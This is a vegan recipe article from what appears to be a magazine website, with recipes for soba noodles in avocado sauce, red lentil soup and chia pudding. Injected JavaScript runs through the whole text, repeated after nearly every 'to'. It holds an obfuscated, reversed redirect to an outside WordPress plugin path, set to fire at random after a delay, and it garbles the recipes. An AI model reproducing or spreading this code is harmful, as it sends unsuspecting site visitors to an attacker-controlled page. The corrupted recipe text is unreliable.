3 VEGAN RECIPES THAT EVEN MEAT LOVERS WILL LIKE

Red Lentil Soup Recipe FEATURED - Russian Time Magazine

My husband is a die-hard meat eater, so when I introduced him toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the idea of vegan meals, he didn’t even want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to give it a chance. Much like most people, he believed that meatless meals can’t be satisfying. Here are three delicious, healthy, and flavorful vegan recipes that helped me change his mind. Try these yourself and you might say, “I can’t believe this is vegan!”

Soba noodles In Savory Avocado Sauce Recipe - Russian Time Magazine

Soba noodles
In Savory Avocado Sauce

Yield: 4 servings

Ingredients:

  • 8oz Package of Soba Noodles
  • 2 Medium Ripe Avocados
  • 1 box of Cherry Tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toes
  • 1/2 cup of Chopped Cilantro
  • 2 Garlic Cloves
  • 2 tbsp of Extra Virgin Olive Oil
  • 2 tbsp of Nutritional Yeast (optional)
  • 1 Lemon, juiced
  • all seasoning spice blend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste
  • Red pepper flakes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste (optional)

Instructions

  1. Prepare the sauce by blending avocados, olive oil, garlic, nutritional yeast, half of cherry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toes, cilantro, lemon juice and all the spices.
  2. Bring a pot of water toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to boil.
  3. Cook soba noodles according toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to package instructions, drain.
  4. Combine sauce and noodles toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together.
  5. Serve noodles with roasted cherry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toes, red chili flakes and chopped cilantro.

Red Lentil Soup
Quick, Rich, Creamy, Vegan

Red Lentil Soup Recipe - Russian Time Magazine

Yield: 4 servings

Ingredients:

  • 2 cups Dried Red Lentils, rinsed
  • 2 cups Carrots, shredded
  • 5 cups of Water
  • 1/2 cup Fresh Cilantro, chopped
  • 2 tbsp Paprika
  • 1 tbsp Ground Cumin
  • 2 tbsp Fine Grated Ginger
  • 2 tbsp Grated Garlic
  • 1 tbsp Curcuma
  • 1 tsp Fine Sea Salt
  • Juice of 1 Lemon
  • Freshly Ground Black Pepper toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste
  • pinch of Cayenne Pepper
  • Vegan Sour Cream for Drizzling
  • Pine Nuts and Pomegranate Seeds for Garnish

Instructions:

  1. Combine lentils, shredded carrots and water in a casserole dish.
  2. Bring toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to boil. Reduce heat, add all the spices, cover and simmer until the lentils soften, about 15 minutes.
  3. Stir the soup occasionally while it cooks, and check on the liquid level; add more water if the lentils soak up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too much broth.
  4. Puree the soup in a blender.
  5. Serve with a splash of freshly squeezed lemon juice and garnish with chopped cilantro, pine nuts, pomegranate seeds and and a swirl of vegan sour cream. Serve and enjoy!

Chia pudding
Raw, Vegan, Dairy-Free, Sugar-Free 

Chia Pudding Recipe - Russian Time Magazine

Yield: 4 servings

Ingredients:

  • 1 1/2 cup Coconut or Almond Milk
  • 1/2 cup Rolled Oats
  • 1/3 cup Chia Seeds
  • 1 bag of Frozen Mango Chunks
  • 1/2 tsp Vanilla Extract
  • Fresh Berries of your Choice
  • Pinch of Sea Salt

Instructions:

  1. Whisk toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together all the ingredients except for the fruits and berries.
  2. Refrigerate overnight or at least 3-5 hours.
  3. Blend frozen mangoes until smooth and creamy.
  4. Layer the chia mix with blended mango and fresh berries. Enjoy!

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Olga Garicichina

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